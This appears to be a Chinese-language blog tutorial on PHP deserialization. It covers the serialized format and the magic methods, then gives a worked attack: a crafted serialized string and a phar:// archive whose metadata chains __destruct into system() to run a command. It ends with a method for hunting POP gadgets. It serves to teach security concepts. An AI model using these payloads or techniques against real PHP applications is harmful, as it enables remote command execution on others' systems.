PHP反序列化
PHP序列化
在讲反序列化原理之前,先来一段php的序列化代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php class test { private $flag = "Inactive" ; public $pub_flag = "public" ; protected $pro_flag = "protect" ; public function set_flag ($flag ) { $this ->flag = $flag ; } public function get_flag ($flag ) { return $this ->flag; } } $object = new test();$object ->set_flag("Active" );$data = serialize($object );echo $data ;
代码输出:
把输出贴上来看,这里面都是啥意思?我们一段一段来看。
1 O :4 :"test" :3 :{s:10 :"testflag" ;s:6 :"Active" ;s:8 :"pub_flag" ;s:6 :"public" ;s:11 :"*pro_flag" ;s:7 :"protect" ;}
一个图来解释
问题来了,为啥长度为10呢?明明testflag只有8位啊?
我们把序列化的对象存起来(最后一行加上file_put_contents("serialize.txt", $data);即可),再用hex friend打开看看,会发现test的前后是有00的(00是空白符,所以复制出来的时候是看不到的)
长度的问题解决了,那为啥代码里没有testflag,序列化后里面就有呢?
这是因为php属性权限的问题,php序列化时会将属性的权限一并进行序列化。
小结一下:
PHP序列化时,只会序列化属性及其权限,不会序列化方法
PHP序列化时,需要用到serialize方法(埋个伏笔,有惊喜)
PHP反序列化原理
我们来反序列化上面的serialize.txt文件试试。
1 2 3 4 5 <?php $data = file_get_contents('serialize.txt' );$res = unserialize($data );echo $res ->pub_flag;
发现报错:
1 2 3 /usr/local /opt/php@7.4 /bin/php /Users/xxxx/PhpstormProjects/Learning/des_temp.php Notice : main(): The script tried to execute a method or access a property of an incomplete object . Please ensure that the class definition "test" of the object you are trying to operate on was loaded _before_ unserialize() gets called or provide an autoloader to load the class definition in /Users/xxx/PhpstormProjects/Learning/des_temp.php on line 18
这是因为反序列化得到的类,不在当前类中。当更改反序列化代码之后:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php class test { private $flag = "Inactive" ; public $pub_flag = "public" ; protected $pro_flag = "protect" ; public function set_flag ($flag ) { $this ->flag = $flag ; } public function get_flag ($flag ) { return $this ->flag; } } $data = file_get_contents('serialize.txt' );$res = unserialize($data );echo $res ->pub_flag;
可成功反序列化:
1 2 3 /usr/local/opt/php@7.4 /bin/php /Users/xxx/PhpstormProjects/Learning/des_temp.php public
因此,反序列化利用要注意:
反序列化的时候,要保证在当前的作用域下有该类的存在
要使用可控的类属性进行反序列化攻击
unserialize方法的参数要可控
PHP反序列化—魔法方法
魔法方法的特性:
在类的序列化 或 反序列化时,会自动完成调用,不需要人工干预
因此,如果有我们可以用的魔法方法,就能打破「unserialize方法的参数要可控」的局限,进一步扩大攻击面。
常用的魔法方法 :
__construct()
当对象创建的时候自动调用,但在unserialize的时候不会自动调用
__wakeup()
在反序列化之前,会检查是否具有__wakeup()魔术方法。如果存在该方法,则在反序列化时执行该方法。__wakeup()魔术方法可以重构对象可能具有的任何资源。
__destruct()
对象被销毁的时候会自动调用。
__toString()
当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用
__get()
从不可访问的属性读取数据
__call()
在对象上下文中调用不可访问的方法时触发
__sleep()
执行serialize()时,先会调用这个函数,此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。
来举个序列化例子 加深一下印象:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 <?php class test { private $flag = "Inactive" ; public $pub_flag = "public" ; protected $pro_flag = "protect" ; public function __sleep ( ) { echo "__sleep" ; echo "\n" ; return array (); } public function __wakeup ( ) { echo "__wakeup" ; echo "\n" ; } public function __construct ( ) { echo "__construct" ; echo "\n" ; } public function __destruct ( ) { echo "__destruct" ; echo "\n" ; } public function __get ($name ) { echo "__get" ; echo "\n" ; } public function __call ($name , $arguments ) { echo "__call" ; echo "\n" ; } public function __toString ( ) { return "__toString" ; } } $te = new test();$data = serialize($te );echo $data ;echo "\n" ;
输出:
序列化时 ,会自动调用 __sleep 魔法方法
再来看看反序列化 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 <?php class test { private $flag = "Inactive" ; public $pub_flag = "public" ; protected $pro_flag = "protect" ; public function __sleep ( ) { echo "__sleep" ; echo "\n" ; return array (); } public function __wakeup ( ) { echo "__wakeup" ; echo "\n" ; } public function __construct ( ) { echo "__construct" ; echo "\n" ; } public function __destruct ( ) { echo "__destruct" ; echo "\n" ; } public function __get ($name ) { echo "__get" ; echo "\n" ; } public function __call ($name , $arguments ) { echo "__call" ; echo "\n" ; } public function __toString ( ) { return "__toString" ; } } $data = file_get_contents("test.txt" );$tes = unserialize($data );echo $tes ;
输出:
可以发现,在反序列化的时候 ,什么操作都没做,就会自动调用__wakeup、__toString、__destruct魔法方法
使用魔法方法发起攻击
假如有这样一段代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php class ro0t { public $test ; public $flag = "flag" ; function __construct ( ) { $this ->test = new A(); } function __destruct ( ) { $this ->test->action(); } } class A { function action ( ) { echo "Welcome!" ; } } class Evil { public $test2 ; function action ( ) { system($this ->test2); } } unserialize(_GET["test" ]);
可以看到, 类ro0t里面有个魔法函数__destruct,而类Evil里面有个恶意函数system()可以用来执行系统命令。现在我们来利用一下,看看怎么通过构造反序列化的代码,实现任意命令执行。
为了方便演示,我将从HTTP参数获取改为了字符串获取,以上代码的最后一行就变为:
1 unserialize("O:4:\"ro0t\":2:{s:4:\"test\";O:4:\"Evil\":1:{s:5:\"test2\";s:2:\"id\";}s:4:\"flag\";s:4:\"flag\";}" );
之后,我们再执行代码,可得到命令id的输出:
你可能想问了,那个反序列化的串是怎么得到的?
其实很简单,根据以上代码,我们把最后一行改为:
1 2 3 4 5 $root = new ro0t();$root ->test = new Evil(); $root ->test->test2 = "id" ; $data = serialize($root ); echo $data ;
此时输出的$data就是我们的payload的了。
图里之所以会执行命令id,是由于代码$root->test->test2 = "id";执行了,所以不用太纠结这部分输出。
至此,就演示了一下使用魔法方法发起反序列化攻击的方法。
还记得前面的伏笔吗?我们在「PHP序列化」的小结里提到:
PHP序列化时,需要用到serialize方法
我们接下来解开一下这个伏笔。。。。
PHP序列化—伪协议
常规的PHP序列化需要用到serialize方法,那骚操作呢?
答案就是:phar:// 伪协议
什么是phar?
phar(Php ARchive)是PHP里类似jar的一种打包文件 。在php > 5.3版本,phar后缀文件是默认开启支持的,可以直接使用。
phar文件的结构
为什么phar可以用来攻击反序列化?
php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化。
受影响的函数如下:
函数
函数
函数
函数
fileatime
filectime
file_exists
file_get_conotents
file_put_contents
file
filegroup
fopen
fileinode
filemtime
fileowner
fileperms
is_dir
is_executable
is_file
is_link
is_readable
is_writable
is_writeable(is_writable别名)
parse_ini_file
copy
unlink
stat
readfile
还是举个例子,来加深一下印象:
先来生成一个phar文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 <?php class ro0t { public $test ; public $flag = "flag" ; function __construct ( ) { $this ->test = new A(); } function __destruct ( ) { $this ->test->action(); } } class A { function action ( ) { echo "Welcome!" ; } } class Evil { public $test2 ; function action ( ) { system($this ->test2); } } @unlink("phar.phar" ); $phar = new Phar("phar.phar" );$phar ->startBuffering();$phar ->setStub("<?php __HALT_COMPILER();?>" ); $o = new ro0t();$o ->test = new Evil();$o ->test->test2 = "id" ;$phar ->setMetadata($o );$phar ->addFromString("te.txt" , "te" );$phar ->stopBuffering();
执行之后,可以看到phar.phar文件生成:
注意一下这个.metadata.bin文件,内容是不是和之前的payload很像?
再来利用phar文件进行反序列化利用
利用代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php class ro0t { public $test ; public $flag = "flag" ; function __construct ( ) { $this ->test = new A(); } function __destruct ( ) { $this ->test->action(); } } class A { function action ( ) { echo "Welcome!" ; } } class Evil { public $test2 ; function action ( ) { system($this ->test2); } } $filename = "phar://phar.phar/te.txt" ;file_get_contents($filename );
可成功执行payload
PHP反序列化利用Gadget
什么是POP?
POP 面向属性编程(Property-Oriented Programing) 常用于上层语言构造特定调用链的方法,是从现有运行环境 中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击目的。
反序列化是通过控制对象的属性从而实现控制程序的执行流程,进而达成利用本身无害的代码进行有害操作的目的。
由于PHP序列化的特性(只序列化属性,不序列化方法),所以我们需要使用POP来挖掘利用的gadget
POP常规利用Gadget
总结一下前面讲的所有例子,大致流程如下:
先找有没有unserialize()函数,这个函数是否是我们可控的
寻找我们的反序列化的目标,重点寻找 存在 __wakeup() 或 __destruct()魔法函数的类
最后,一层一层地研究该类在魔法方法中使用的属性和属性调用的方法,看看是否有可控的属性能实现在当前调用的过程中触发
[待补充,__wakeup()、__destruct()的利用方式]
如果您喜欢此博客或发现它对您有用,则欢迎对此发表评论。 也欢迎您共享此博客,以便更多人可以参与。 如果博客中使用的图像侵犯了您的版权,请与作者联系以将其删除。 谢谢 !